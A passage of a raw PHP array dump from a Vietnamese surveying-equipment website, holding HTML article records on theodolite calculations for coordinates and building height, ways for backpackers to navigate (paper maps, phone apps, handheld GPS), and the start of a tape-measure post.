line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7481" height="43" sizes="(max-width: 282px) 100vw, 282px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2-150x23.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png 282w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="282" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính góc B và C theo công thức:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7483" height="46" sizes="(max-width: 473px) 100vw, 473px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4-300x29.png 300w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4-115x11.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png 473w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="473" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">IV. Đo, tính tọa độ của một điểm bằng phương pháp điểm dẫn (Cọc phụ).</b></span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Giả sử cần tính tọa độ điểm T khi có các số liệu gốc và số liệu đo như hình vẽ ta tiến hành như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="size-full wp-image-7484 alignright" height="236" sizes="(max-width: 268px) 100vw, 268px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5-150x132.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png 268w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; float: right; margin: 0px 0px 20px 20px !important;" width="268" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">-Tính góc phương vị tọa độ cho cạnh gốc: </span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">α<span style="box-sizing: border-box; margin: 0px; padding: 0px;"> AB<span style="box-sizing: border-box; margin: 0px; padding: 0px;">=120°30’40”</span></span></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">-Tính góc phương vị tọa độ cho cạnh BT:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi6.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone wp-image-7485" height="55" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi6.png" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="197" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Theo hình vẽ, góc đo được là góc trái nên ta áp dụng công thức:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi7.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="wp-image-7486 aligncenter" height="38" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi7.png" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="246" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính số gia tọa độ của cạnh BT.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi8.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="wp-image-7487 aligncenter" height="41" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi8.png" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="160" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính tọa độ cho điểm T:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone wp-image-7488" height="54" sizes="(max-width: 159px) 100vw, 159px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9-115x39.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9-150x51.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png 209w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="159" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102);">V. Đo chiều cao công trình</strong></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Để xác định chiều cao của một công trình ta làm như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy tại một điểm bất kỳ sao cho khi đặt máy trên điểm này có thể nhìn thấy đỉnh và chân công trình.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Dựng mia ở chân công trình và xác định khoảng cách ngang từ máy đến mia (D).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm ống kính lên đỉnh công trình rồi đọc giá trị góc đứng (V1).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm ống kính xuống chân công trình rồi đọc giá trị góc đứng (V2).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính chiều cao công trình (H) theo công thức:</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H =</i> <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H</i>1+ <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H </i>2</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Trong đó: <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H </i>1 = <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">D </i>.<i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">tg V </i>1</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;"> H </i>2 = <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">D </i>.<i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">tg V </i>2</span></span></span></p> ', 'images' => '201709110746070417e9099f0268338ae9b8a49d21ba31.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-09-11', 'modified' => '2025-08-10', 'status' => '1', 'view' => '71057', 'slug' => 'mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '861', 'rght' => '862', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '492', 'name' => 'Những cách định vị đường đi cho dân phượt', 'code' => null, 'alias' => 'nhung-cach-dinh-vi-duong-di-cho-dan-phuot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(17, 17, 17); font-weight: bold; text-align: justify;">Ngày nay, giới trẻ thích du lịch “phượt” thay vì đi theo tour. Việc định vị đường đi cho chuyến phượt thuận lợi được thực hiện bằng cách nào? Hãy cùng nhau tìm hiểu những cách định vị đường đi nhé!</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Định vị đường đi sẽ là việc đầu tiên mà chúng ta thực hiện khi chuẩn bị cho một chuyến phượt đến một nơi mà ta chưa bao giờ đặt chân tới. Và bạn thực hiện điều đó bằng cách nào?</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">1. Sử dụng bản đồ truyền thống (bản đồ trên giấy):</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cách này dành cho những người khá “cổ điển” do bản đồ giấy đang trở nên lỗi thời.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Bạn sẽ phải thường xuyên mở bản đồ ra và dò xem mình đã đi tới đâu, bản đồ có thể sẽ bị rách, hư nếu bạn xem dưới thời tiết xấu và bản đồ giấy không thể giúp ta biết được chính xác vị trí mình đang đứng.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="448" src="http://dathop.com.vn/file/1502182605-HCM%20Map.ashx.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="440" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">2. Sử dụng các ứng dụng định vị dẫn đường trên smartphone:</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Tất cả các smartphone ngày nay đều được tích hợp với hệ thống định vị GPS, hệ thống định vị toàn cầu, đó chính là chìa khóa trong việc giúp người sử dụng có thể định vị đường đi chính xác.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="308" src="http://dathop.com.vn/file/1502182663-loi-khuyen-su-dung-may-dinh-vi-gps.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="485" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ta chỉ cần định vị điểm đến mà chúng ta muốn, ứng dụng chỉ đường trong smartphone sẽ định vị đường đi từ vị trí mà chúng ta đang đứng đến điểm đến một cách chính xác.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Đây là cách phổ biến, nhưng điểm yếu là vùng phủ sóng bị hạn chế bởi nhà cung cấp mạng smartphone.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">3. Sử dụng máy định vị GPS cầm tay:</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="331" src="http://dathop.com.vn/file/1502182829-264962.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="498" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cũng như các ứng dụng định vị dẫn đường trên smartphone, máy định vị GPS cầm tay cũng sử dụng hệ thống định vị toàn cầu GPS, hiển thị màn hình màu, nhưng nó còn có những đặc điểm nỗi trội hơn hẵn mà các phượt thủ không nên bỏ qua:</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Độ bền: máy định vị GPS cầm tay để chế tạo để sử dụng nơi hoang dã. Không như smartphone, hầu hết các máy định vị GPS cầm tay đều có khả năng chống thấm IPX7 như <a href="http://dathop.com.vn/post/dac-diem-noi-troi-cua-may-gpsmap-78-78s.html" style="margin: 0px auto; text-decoration-line: none; color: rgb(51, 51, 51); background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">Garmin GPS MAP 78/78s</a> nên nước mưa không phải là vấn đề đáng ngại.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tuổi thọ pin: máy định vị GPS cầm tay có thể hoạt động trong hơn 15 giờ sau mỗi lần sạc. Hầu hết máy định vị GPS loại này đều sử dụng pin AA đi kèm với máy, có thể lựa chọn pin sạc hay pin Lithium để kéo dài thời gian hoạt động. Còn với smartphone, bạn bị giới hạn ở nguồn sạc trên xe hơi hay sạc tường.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Vùng phủ sóng: Tất cả những gì mà máy định vị GPS cần để xác định chính xác vị trí của bạn là một nơi có thể thấy rõ bầu trời, không bị giới hạn bởi vùng phủ sóng như điện thoại di động.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tính năng: máy định vị GPS cầm tay được tích hợp một khí áp kế để theo dõi sự thay đổi của điều kiện thời tiết, một la bàn điện tử để định hướng và một cao độ/khí áp kế để xác định cao độ nơi bạn đang đứng so với mặt nước biển. Ngoài ra còn có thể ghi lại điểm đã đi, tránh lạc đường nhờ chức năng tracklog.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Lập bản đồ: máy định vị GPS không cần phải kết nối dữ liệu điện thoại di động để tải bản đồ, vì bản đồ đã được tải sẵn trong thiết bị này.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Tính tới thời điểm hiện tại thì việc sử dụng thiết bị định vị GPS cầm tay sẽ là một lựa chọn tối ưu nhất cho các phượt thủ của chúng ta. </span></span></p> ', 'images' => '20170822084111b76542c2d4df05b5c7e4ccab538fe8c0.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-08-22', 'modified' => '2025-08-10', 'status' => '1', 'view' => '77229', 'slug' => 'nhung-cach-dinh-vi-duong-di-cho-dan-phuot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '859', 'rght' => '860', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '491', 'name' => 'Thước dây Yamayo', 'code' => null, 'alias' => 'thuoc-day-yamayo', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thước dây là thiết bị đo đạc vô cùng quen thuộc trong mọi công trình cũng như trong cuộc sống 